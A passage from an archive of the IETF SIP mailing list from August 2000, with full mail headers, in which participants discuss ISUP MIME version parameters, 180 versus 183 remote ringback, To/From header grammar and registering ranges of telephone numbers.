be supported for active calls or for callIds for which there is no call as well? -Deepak _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 15 19:29:36 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA00181 for ; Tue, 15 Aug 2000 19:29:35 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 91B3144398; Tue, 15 Aug 2000 19:29:00 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from june.Broomfield1.level3.net (june.Broomfield1.Level3.net [209.245.18.7]) by lists.bell-labs.com (Postfix) with ESMTP id 5346B44345 for ; Tue, 15 Aug 2000 19:28:56 -0400 (EDT) Received: from f1ee40-19.idc1.level3.com (hme0.f1ee40-19.idc1.oss.level3.com [10.1.144.204]) by june.Broomfield1.level3.net (8.9.3/8.9.3) with ESMTP id XAA04775; Tue, 15 Aug 2000 23:28:44 GMT From: Jon.Peterson@Level3.com Received: from n0195idc1.oss.level3.com (localhost [127.0.0.1]) by f1ee40-19.idc1.level3.com (8.8.8+Sun/8.8.8) with ESMTP id RAA21393; Tue, 15 Aug 2000 17:28:36 -0600 (MDT) Received: by n0195idc1.oss.level3.com with Internet Mail Service (5.5.2650.21) id ; Tue, 15 Aug 2000 17:30:21 -0600 Message-ID: <87A245E94948D3118DE30008C716B01301523AD1@c0005v1idc1.oss.level3.com> To: Kevin.Summers@ttimail.com, sip@lists.bell-labs.com Subject: RE: [SIP] Question on 'version' parameter in draft-ietf-sip-isup- mime -03.txt Date: Tue, 15 Aug 2000 17:28:34 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com I believe the current thinking is that IANA registration will be used for ISUP versions that are associated with a published standard, though a few possible versions will be provided by way of example. The authors are concerned that there are potentially too many obscure national variants to catalogue them within the MIME draft itself. Jon Peterson Level(3) Communications -----Original Message----- From: Kevin Summers [mailto:Kevin.Summers@ttimail.com] Sent: Tuesday, August 15, 2000 3:59 PM To: sip@lists.bell-labs.com Subject: [SIP] Question on 'version' parameter in draft-ietf-sip-isup-mime -03.txt In draft-ietf-sip-isup-mime-03.txt, there is a subset of ISUP base protocol parameters listed. However, there is no similar table describing the ISUP version parameters. Considering that the version parameter is mandatory, it may be a good idea to include a list/table of valid values. (I believe that uk21 is the only ISUP version listed.) I don't think that this is something that we would want implementors to go off and decide on their own. Any comments? Kevin Summers telecom technologies kevin.summers@ttimail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 15 20:58:53 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA01757 for ; Tue, 15 Aug 2000 20:58:52 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D831D4437C; Tue, 15 Aug 2000 20:58:39 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchangesvr.nuera.com (unknown [204.216.240.124]) by lists.bell-labs.com (Postfix) with ESMTP id 9B3DA44345 for ; Tue, 15 Aug 2000 20:58:36 -0400 (EDT) Received: by exchangesvr.nuera.com with Internet Mail Service (5.5.2650.21) id ; Tue, 15 Aug 2000 17:58:49 -0700 Message-ID: From: "Fairlie-Cuninghame, Robert" To: "'Taichi Fu'" , "'sip@lists.bell-labs.com'" Subject: RE: [SIP] Remote ringback. Date: Tue, 15 Aug 2000 17:58:47 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Ok, if 180 is to be used for remote ringback (ie SDP in the 180 response) then I believe that a reference needs to be made to this usage in RFC2543bis; a clarification is also needed on the different handling of a 180 with or without SDP (for instance, if a 180 response is received with an SDP body is it a SHOULD or a MAY that the specified audio stream should be played?); and lastly, an example should be placed somewhere (either in RFC2543 or otherwise definitely in the call flows draft). The 183 draft also needs also be explicitly clarified in this respect.[IMO] Cheers, Robert. -- My opinions are my own. I tried selling them once but everybody seems to already have one. -- > -----Original Message----- > From: Taichi Fu [mailto:tfu@cisco.com] > Sent: Friday, August 11, 2000 12:31 PM > To: Fairlie-Cuninghame, Robert; 'sip@lists.bell-labs.com' > Cc: tfu@cisco.com > Subject: Re: [SIP] Remote ringback. > > > At 07:28 PM 8/10/00 -0700, Fairlie-Cuninghame, Robert wrote: > > > >At the SIP bakeoff, a colleague had a conversation with one of the > >co-authors of the 183 Session Progress draft. > > > >He (the co-author) informed us that 183 is meant to be used > when the remote > >UA wants to provide > >some other, unknown message/signal - and _not_ simply remote > ringback. > > > >180 with an SDP body should be used for that purpose. > > >This came as quite a surprise as it seems to be at odds with > RFC2543 which > >makes no mention about the validity or handing 180 with SDP > and states that > >183 SHOULD include an SDP for session progress tones (or > announcements). > >[Without defining session progress tones.] > > The rfcbis (Aug. 06 from http://www.cs.columbia.edu/sip) > states that 180 is to indicate that the some attemp is made > to alert the called party while 183 is to indicate 'progress > of the call which is not otherwise classified' (p.62). So the > distinction between 180 and 183 seems clear in rfcbis. Maybe > there is still a little room left to exactly define the 180 > and 183 semantics, but if it is certain that a called party > is located and alerting is being applied successfully, I > think 180 should be used. If it is not certain, 183. > > >Even the 183 draft seems to only associate 180 with local alerting. > > > >At the bakeoffs 183 seems to have been implemented widely for remote > >ringback. > > > >Can anyone shed some light on this? > > > >Robert. > > > >-- My opinions are my own. I tried selling them once but everybody > > seems to already have one. -- > > > > > > > >_______________________________________________ > >SIP mailing list > >SIP@lists.bell-labs.com > >http://lists.bell-labs.com/mailman/listinfo/sip > > > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 00:28:10 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA06814 for ; Wed, 16 Aug 2000 00:28:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E846644389; Wed, 16 Aug 2000 00:28:03 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id C4C1344380 for ; Wed, 16 Aug 2000 00:28:00 -0400 (EDT) Received: from dynamicsoft.com (1Cust227.tnt1.freehold.nj.da.uu.net [63.17.113.227]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id AAA17357; Wed, 16 Aug 2000 00:29:39 -0400 (EDT) Message-ID: <399A19B6.CE7724CD@dynamicsoft.com> Date: Wed, 16 Aug 2000 00:33:58 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Simon Barber Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Multiple To/From lines and Bcc References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Simon Barber wrote: > > According to the grammar multiple to and from lines are allowed (just as > RFC822 allows multiple to and from addresses). Hows that? The BNF is quite explicit that it is a single name-addr or addr-spec: > From = ( "From" | "f" ) ":" ( name-addr | addr-spec ) > *( ";" addr-params ) > addr-params = tag-param > tag-param = "tag=" UUID > UUID = 1*( hex | "-" ) > To = ( "To" | "t" ) ":" ( name-addr | addr-spec ) > *( ";" addr-params ) -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 00:39:13 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA06899 for ; Wed, 16 Aug 2000 00:32:58 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A8AB144380; Wed, 16 Aug 2000 00:31:51 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id CD39C4433B for ; Wed, 16 Aug 2000 00:31:48 -0400 (EDT) Received: from dynamicsoft.com (1Cust227.tnt1.freehold.nj.da.uu.net [63.17.113.227]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id AAA17369; Wed, 16 Aug 2000 00:33:23 -0400 (EDT) Message-ID: <399A1A96.52FF0737@dynamicsoft.com> Date: Wed, 16 Aug 2000 00:37:42 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Deepak_Pant@3com.com Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Question on unknown methods References: <8825693C.007AE28E.00@hqoutbound.ops.3com.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit A server can always reject a request with a 405 even if it does support the method, and it can use any logic to determine when/if it should send a 405. Practically speaking, if a new method makes sense both inside and outside of a call, and you implement it, I suspect your code would support both cases. -Jonathan R. Deepak_Pant@3com.com wrote: > > For the support of unknown methods, do these methods have to > be supported for active calls or for callIds for which there is no call > as well? > > -Deepak > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 01:38:16 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA11794 for ; Wed, 16 Aug 2000 01:37:50 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5EDA04437C; Wed, 16 Aug 2000 01:37:32 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from wiproecmx2.wipro.com (wiproecmx2.wipro.com [164.164.31.6]) by lists.bell-labs.com (Postfix) with ESMTP id 32FCC4433B for ; Wed, 16 Aug 2000 01:37:27 -0400 (EDT) Received: from ecvwall1.wipro.com (ecvwall1.wipro.com [192.168.181.23]) by wiproecmx2.wipro.com (8.9.3/8.9.3) with SMTP id LAA05621 for ; Wed, 16 Aug 2000 11:16:10 GMT Received: from wipro.com ([164.164.28.228]) by ace.mail.wipro.com (Netscape Messaging Server 3.6) with ESMTP id AAA21ED for ; Wed, 16 Aug 2000 11:03:30 +0530 Message-ID: <399A2AD7.FAB92948@wipro.com> Date: Wed, 16 Aug 2000 11:17:03 +0530 From: "Anuraj Kunnummel Ennai" Organization: Wipro X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: sip@lists.bell-labs.com Subject: Re: [SIP] CPL, WML, VoiceXML and SIP Features References: <20000814160005.5CE6744396@lists.bell-labs.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Shouldn't SMIL be also on the list? cheers Anuraj ------------------------------------------------------------------------ > > Subject: Re: [SIP] CPL, WML, VoiceXML and SIP Features > Date: Sun, 13 Aug 2000 15:53:54 -0700 (PDT) > From: Tom Gray > To: Tom Gray , sip@lists.bell-labs.com > > It would be nice if the inter-relationships between > these protocols (CPL, WML, VoiceXML and SIP features) > and the call processing problem could be captured in > an informational RFC to eliminate duplicated effort > and to identify areas in which no protocol has been > set up. An expecially important set of topics would be > areas in which it would be undesirable for a protocol > to be created. > > There was a suggestion here previously that CPL be > extended to encompass switches on authorization. This > is coming perilously near the use of CPL to handle > classes of service. This would be one step on an > infinite journey of defining a call processing > architecture which could not be finished. it would be > like painting the Golden Gate Bridge. When it is done, > it is time to start over. > > Tom Gray > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 02:54:54 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA19564 for ; Wed, 16 Aug 2000 02:54:53 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5481B443A5; Wed, 16 Aug 2000 01:53:59 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from porky.pigworks.dallas.net (tnt-dal-101.dallas.net [209.44.41.101]) by lists.bell-labs.com (Postfix) with ESMTP id BBDEB4433B for ; Wed, 16 Aug 2000 01:53:51 -0400 (EDT) Received: (from brian@localhost) by porky.pigworks.dallas.net (8.9.3/8.9.3) id AAA08666; Wed, 16 Aug 2000 00:53:40 -0500 Date: Wed, 16 Aug 2000 00:53:40 -0500 From: "Brian F. G. Bidulock" To: Jonathan Rosenberg Cc: Simon Barber , sip@lists.bell-labs.com Subject: Re: [SIP] Multiple To/From lines and Bcc Message-ID: <20000816005340.A8635@dallas.net> Reply-To: bidulock@dallas.net Mail-Followup-To: Jonathan Rosenberg , Simon Barber , sip@lists.bell-labs.com References: <399A19B6.CE7724CD@dynamicsoft.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <399A19B6.CE7724CD@dynamicsoft.com>; from jdrosen@dynamicsoft.com on Wed, Aug 16, 2000 at 12:33:58AM -0400 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Jonathan, Perhaps Simon was referring to the following, which says that a general-header can occur any number of times in a message. I saw no reference to the restriction that a `From' could only occur once in a message (although it makes sense). > generic-message = > start-line *message-header CRLF [message-body] > > message-header = > general-header | > request-header | > response-header | > entity-header > > general-header = > Accept ; Section 6.6 > | Accept-Encoding ; Section 6.7 > | Accept-Language ; Section 6.8 > | Call-ID ; Section 6.12 > | Call-Info ; Section 6.13 > | Contact ; Section 6.14 > | CSeq ; Section 6.20 > | Date ; Section 6.21 > | Encryption ; Section 6.22 > | From ; Section 6.24 > | MIME-Version ; Section 6.28 > | Organization ; Section 6.29 > | Record-Route ; Section 6.34 > | Require ; Section 6.35 > | Supported ; Section 6.41 > | Timestamp ; Section 6.42 > | To ; Section 6.43 > | User-Agent ; Section 6.45 > | Via ; Section 6.46 Jonathan Rosenberg wrote: (Wed, 16 Aug 2000 00:33:58) > > > Simon Barber wrote: > > > > According to the grammar multiple to and from lines are allowed (just as > > RFC822 allows multiple to and from addresses). > > Hows that? The BNF is quite explicit that it is a single name-addr or > addr-spec: > > > From = ( "From" | "f" ) ":" ( name-addr | addr-spec ) > > *( ";" addr-params ) > > addr-params = tag-param > > tag-param = "tag=" UUID > > UUID = 1*( hex | "-" ) > > > To = ( "To" | "t" ) ":" ( name-addr | addr-spec ) > > *( ";" addr-params ) > > > -Jonathan R. > -- Brian F. G. Bidulock bidulock@dallas.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 03:21:53 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA19693 for ; Wed, 16 Aug 2000 03:21:53 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id F1740443A5; Wed, 16 Aug 2000 03:21:31 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from smtp.netservers.net (smtp1.netservers.net [64.45.27.101]) by lists.bell-labs.com (Postfix) with SMTP id 370624433B for ; Wed, 16 Aug 2000 03:21:28 -0400 (EDT) Received: (qmail 13066 invoked from network); 16 Aug 2000 07:28:54 -0000 Received: from unknown (HELO voip) (216.101.189.246) by smtp with SMTP; 16 Aug 2000 07:28:54 -0000 From: "IPTelephonyJobs.com" To: Date: Wed, 16 Aug 2000 00:21:31 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 In-Reply-To: Subject: [SIP] ***New Site : IPTelephonyJobs.com*** Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit Hello, We have launched IPTelephonyJobs.com. The site is dedicated to IP Telephony professionals. The following areas are specifically targeted among others: VoIP (h.323, mgcp, sip, megaco, call agents...) PSTN(ss7, isdn, ain/in,..) Wireless(gprs, cdma, gsm,...) IP Routing/Switching + others Services offered to Job Seekers: - Profile only entries lets you keep your personal information private. - Profile + Resume entries lets the employer have a better understanding of your background.  - Control access to your resume on demand. So just drop by our site and fill in your profile. http://www.iptelephonyjobs.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 03:44:51 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA19823 for ; Wed, 16 Aug 2000 03:44:51 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 155B54434C; Wed, 16 Aug 2000 00:13:32 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mailsrv02.multitude.com (mailsrv02.firetalk.com [204.178.116.251]) by lists.bell-labs.com (Postfix) with ESMTP id C63D64433B for ; Wed, 16 Aug 2000 00:13:29 -0400 (EDT) Received: from sbarber2k (s242.firetalk.com [204.178.116.242]) by mailsrv02.multitude.com (Rockliffe SMTPRA 3.4.2) with SMTP id for ; Tue, 15 Aug 2000 21:11:56 -0700 From: "Simon Barber" To: Date: Tue, 15 Aug 2000 21:14:04 -0700 Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_006C_01C006FD.BDA6C650" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Subject: [SIP] Multiple To/From lines and Bcc Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. ------=_NextPart_000_006C_01C006FD.BDA6C650 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit According to the grammar multiple to and from lines are allowed (just as RFC822 allows multiple to and from addresses). The text often refers to comparisons involving the To line (single). Are multiple To/From lines allowed? Is there any equivalent of Bcc:? Simon Barber -----Original Message----- From: sip-admin@lists.bell-labs.com [mailto:sip-admin@lists.bell-labs.com]On Behalf Of Fairlie-Cuninghame, Robert Sent: Tuesday, August 15, 2000 5:59 PM To: 'Taichi Fu'; 'sip@lists.bell-labs.com' Subject: RE: [SIP] Remote ringback. Ok, if 180 is to be used for remote ringback (ie SDP in the 180 response) then I believe that a reference needs to be made to this usage in RFC2543bis; a clarification is also needed on the different handling of a 180 with or without SDP (for instance, if a 180 response is received with an SDP body is it a SHOULD or a MAY that the specified audio stream should be played?); and lastly, an example should be placed somewhere (either in RFC2543 or otherwise definitely in the call flows draft). The 183 draft also needs also be explicitly clarified in this respect.[IMO] Cheers, Robert. -- My opinions are my own. I tried selling them once but everybody seems to already have one. -- > -----Original Message----- > From: Taichi Fu [mailto:tfu@cisco.com] > Sent: Friday, August 11, 2000 12:31 PM > To: Fairlie-Cuninghame, Robert; 'sip@lists.bell-labs.com' > Cc: tfu@cisco.com > Subject: Re: [SIP] Remote ringback. > > > At 07:28 PM 8/10/00 -0700, Fairlie-Cuninghame, Robert wrote: > > > >At the SIP bakeoff, a colleague had a conversation with one of the > >co-authors of the 183 Session Progress draft. > > > >He (the co-author) informed us that 183 is meant to be used > when the remote > >UA wants to provide > >some other, unknown message/signal - and _not_ simply remote > ringback. > > > >180 with an SDP body should be used for that purpose. > > >This came as quite a surprise as it seems to be at odds with > RFC2543 which > >makes no mention about the validity or handing 180 with SDP > and states that > >183 SHOULD include an SDP for session progress tones (or > announcements). > >[Without defining session progress tones.] > > The rfcbis (Aug. 06 from http://www.cs.columbia.edu/sip) > states that 180 is to indicate that the some attemp is made > to alert the called party while 183 is to indicate 'progress > of the call which is not otherwise classified' (p.62). So the > distinction between 180 and 183 seems clear in rfcbis. Maybe > there is still a little room left to exactly define the 180 > and 183 semantics, but if it is certain that a called party > is located and alerting is being applied successfully, I > think 180 should be used. If it is not certain, 183. > > >Even the 183 draft seems to only associate 180 with local alerting. > > > >At the bakeoffs 183 seems to have been implemented widely for remote > >ringback. > > > >Can anyone shed some light on this? > > > >Robert. > > > >-- My opinions are my own. I tried selling them once but everybody > > seems to already have one. -- > > > > > > > >_______________________________________________ > >SIP mailing list > >SIP@lists.bell-labs.com > >http://lists.bell-labs.com/mailman/listinfo/sip > > > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip ------=_NextPart_000_006C_01C006FD.BDA6C650 Content-Type: text/x-vcard; name="Simon Barber.vcf" Content-Disposition: attachment; filename="Simon Barber.vcf" Content-Transfer-Encoding: quoted-printable BEGIN:VCARD VERSION:2.1 N:Barber;Simon FN:Simon Barber TEL;WORK;VOICE:(650) 636-1924 ADR;WORK;ENCODING=3DQUOTED-PRINTABLE:;;601 Gateway Boulevard, Suite = 1050=3D0D=3D0A;South San Francisco;CA;94080;USA LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:601 Gateway Boulevard, Suite = 1050=3D0D=3D0A=3D0D=3D0ASouth San Francisco, CA 94080=3D =3D0D=3D0AUSA X-WAB-GENDER:2 URL:http://simon.barber.net BDAY:19730413 EMAIL;PREF;INTERNET:simon@barber.net EMAIL;INTERNET:simon@firetalk.com REV:20000727T025613Z END:VCARD ------=_NextPart_000_006C_01C006FD.BDA6C650-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 03:50:01 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA19847 for ; Wed, 16 Aug 2000 03:50:01 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 93CF9443AB; Wed, 16 Aug 2000 03:49:48 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchangesvr.nuera.com (unknown [204.216.240.124]) by lists.bell-labs.com (Postfix) with ESMTP id C7FAC4433B for ; Wed, 16 Aug 2000 03:49:42 -0400 (EDT) Received: by exchangesvr.nuera.com with Internet Mail Service (5.5.2650.21) id ; Wed, 16 Aug 2000 00:49:56 -0700 Message-ID: From: "Fairlie-Cuninghame, Robert" To: "'sip@lists.bell-labs.com'" Date: Wed, 16 Aug 2000 00:49:56 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Subject: [SIP] Telephone-subscriber registration. Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi all, Is there any standard method or has anyone thought about a way to register a range of telephone-subscribers? A SIP-PSTN gateway is not always aware of the exact presence of all its PSTN endpoints. It may merely know that the trunk connecting to a range of phone numbers is active. For instance, 555-4000 to 555-4999. It is impractical to register 1000 endpoints individually but there still seems to be good cause to want to register all these possible addresses with a SIP proxy. The most straight forward solution would seem to be to devise a method for SIP-PSTN gateways to register using a tel: URL [RFC2806] in the To header that specified a wildcard/pattern-match telephone-subscriber (currently not supported). Suggestions? Adding a wildcard digit and/or new parameters. eg. sip:555-4xxx;matchrange=0-79@gateway;user=tel-pattern to specify 555-4000 to 555-4079 (just as a trivial example). The user=tel-pattern ensures that the tel: is not processed as standard telephone-subscriber. Any other ideas or comments ? This problem has probably been solved in H.323 Gatekeeper registrations but I am not very au fait with the mechanisms of that protocol. Perhaps someone else can comment. Regards, Robert. -- My opinions are my own. I tried selling them once but everybody seems to already have one. -- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 16 04:02:26 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA19969 for ; Wed, 16 Aug 2000 04:02:26 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2B06844362; Wed, 16 Aug 2000 04:01:38 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by lists.bell-labs.com (Postfix) with ESMTP id ADEA54433B for ; Wed, 16 Aug 2000 04:01:34 -0400 (EDT) Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6]) by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id e7G81Xw29550; Wed, 16 Aug 2000 10:01:33 +0200 (MEST) Received: from ericsson.fi (E0080C7FA22D6.lmf.ericsson.se [131.160.30.84]) by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id LAA11533; Wed, 16 Aug 2000 11:01:32 +0300 (EET DST) Message-ID: <399A4A0A.8C4AEA5F@ericsson.fi> Date: Wed, 16 Aug 2000 11:00:10 +0300 From: Hisham Khartabil X-Mailer: Mozilla 4.61 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: "Fairlie-Cuninghame, Robert" Cc: "'sip@lists.bell-labs.com'" Subject: Re: [SIP] Telephone-subscriber registration. References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi, You might want to take a look at: http://www.cs.columbia.edu/~jdrosen/papers/draft-rs-trip-gw-00.txt it should answer your question Thanks Hisham Khartabil "Fairlie-Cuninghame, Robert" wrote: > Hi all, > > Is there any standard method or has anyone thought about a way to register a > range of telephone-subscribers? > > A SIP-PSTN gateway is not always aware of the exact presence of all its PSTN > endpoints. It may merely know that the trunk connecting to a range of phone > numbers is active. For instance, 555-4000 to 555-4999. It is impractical to > register 1000 endpoints individually but there still seems to be good cause > to want to register all these possible addresses with a SIP proxy. > > The most straight forward solution would seem to be to devise a method for > SIP-PSTN gateways to register using a tel: URL [RFC2806] in the To header > that specified a wildcard/pattern-match telephone-subscriber (currently not > supported). Suggestions? Adding a wildcard 